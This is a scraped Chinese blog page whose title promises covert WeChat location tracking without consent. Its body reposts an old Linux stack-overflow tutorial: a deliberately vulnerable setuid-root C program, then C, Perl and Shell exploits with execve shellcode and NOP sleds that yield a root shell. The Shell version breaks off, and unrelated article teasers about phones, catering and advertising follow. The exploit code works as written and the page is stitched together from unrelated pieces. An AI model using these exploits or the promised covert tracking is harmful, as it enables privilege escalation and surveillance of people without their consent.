微信定位,不让他发现不需要同意的微信定位

访客4年前黑客文章823

溢出利用程序不仅仅是只能用c语言编写,其实几乎任何编程语言都能用来编写
溢出利用程序,这里用Linux作为试验平台,以实例演示C、Perl、Shell、Awk
语言编写溢出利用程序。之所以选择这几个语言是因为他们都几乎是Unix系统
自带的语言(商用Unix系统中C语言例外)。示例中基本都是把SHELLCODE放到
环境变量中来实现精确定位的。


<一>  有溢出漏洞的vul.c

[cloud@test]$ id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$ cat vul.c
/* Demo 
   Have a bof vul at argv[1].
   Write by watercloud @ xfocus.org 
*/
#include<stdio.h>
int main(int argc,char  * argv[])
{
        char buff[32];
        if(argc > 1)
        {
                strcpy(buff,argv[1]);
        }
        printf("buff : %s\n",buff);
        return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x    1 cloud    test      11627  2月 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x    1 root     test        11K  2月 24 10:14 vul



<二> C语言版本利用程序ex.c

[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul" 
   Write by watercloud @ xfocus.org 
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
          "j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
int main(int argc,char * argv[])
{
        char env_buff[4000];
        char cmd_buff[1024];
        int i,ret;
        unsigned int *pi;
        char * pc;

        for(i=0;i<3096;env_buff[i++]=0x90){ };
        env_buff[i]='\0';
        strcat(env_buff,SH);
        setenv("KK",env_buff,1);
        strcpy(cmd_buff,TARGET);
        pc=&cmd_buff[strlen(TARGET)]; *pc++=' ';
        for(ret=1,i=0;i<4 && ret;i++)
        {
                int j;
                *pc++='A';
                pi=(unsigned int *)pc;
                for(j=0;j<20;*pi++=ADDR,j++){};
                *pi=0;
                ret=system(cmd_buff);
        }
        return ret;

}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
梵�胯??
buff : AA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
胯?胯??
buff : AAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
�胯?胯??
buff : AAAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit



<三> perl语言版本利用程序ex.pl

[cloud@test]$ cat ex.pl

#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#$ENV_LEN=`env |wc -c`
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$ENV{KK}= "\x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
  $ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20;  #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$ perl ex.pl
buff : AA�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit



<四> Shell语言版本利用程序ex.sh

[cloud@test]$ cat ex.sh
#/bin/bash
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#ENV_LEN=`env |wc -c|tr -d ' '`
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
export AGSHELL=$AG`echo -e $SH`

相关文章

诺基亚2630(e5 2630怎么样)

2630是诺基亚07年上市的一款低端手机,应该说还是蛮实用的,很轻薄,外观也不错,有蓝牙功能,支持MP3,还有30w像素,能满足一般日常拍摄。不过电池容。 我去年买的,开始不是原装充电线就无法充电,我...

大二学弟招聘同校学长学姐什么情况?学弟为什么能招聘同校学长学姐

大四毕业生应聘时,眼前的面试官竟然是本校的大二师弟,这是什么情况?这一幕发生在了广东科技学院2020届毕业生供需见面会上。11月27日,来自广东各地的近600家用人单位在广东科技学院招贤纳士,向420...

做餐饮洗手用什么材料(餐饮业的卫生要求)

做餐饮洗手用什么材料(餐饮业的卫生要求)

民以食为天,要说什么行业可以从古至今屹立不倒,那就数餐饮行业了,而且随着经济的发展,人们越来越有钱,更实在吃的方面有要求,吃的种类变的越来越多,消费者对食品质量要求也越来越严格,所以申请食品行业的许可...

我想学程序当黑客(想当黑客学计算机的什么专业)

我想学程序当黑客(想当黑客学计算机的什么专业)

自学成为一名黑客容易吗? 学习永远都是成功的关键。不断的学习和实践将使你成为最好的黑客。保持对安全的关注,时刻为自己充电,学习和了解最新的入侵技术。1 加入黑客圈子 对一名黑客来说,最重要的是加入社区...

SEM秘籍:竞价推广如何优化/提高转化率?错过后悔

SEM秘籍:竞价推广如何优化/提高转化率?错过后悔

先上一个图,解释SEM竞价推广,从用户看到广告(展现量),进入页面(点击量),进行咨询(咨询量),然后形成资源(资源量)一个完整转化路径的影响因素。   1、目标用户看到广告:即展现量,展现量...

银行支付认证的鉴权体验设计

银行支付认证的鉴权体验设计

编辑导语:付出认证方法是付出业务的焦点部门,一个银行凡是有多种认证方法来应对差异用户的需求,如何向用户通报清晰简朴的认证方法以及引导用户高效的完成认证操纵是很重要的。本文作者为我们先容了银行付出鉴权的...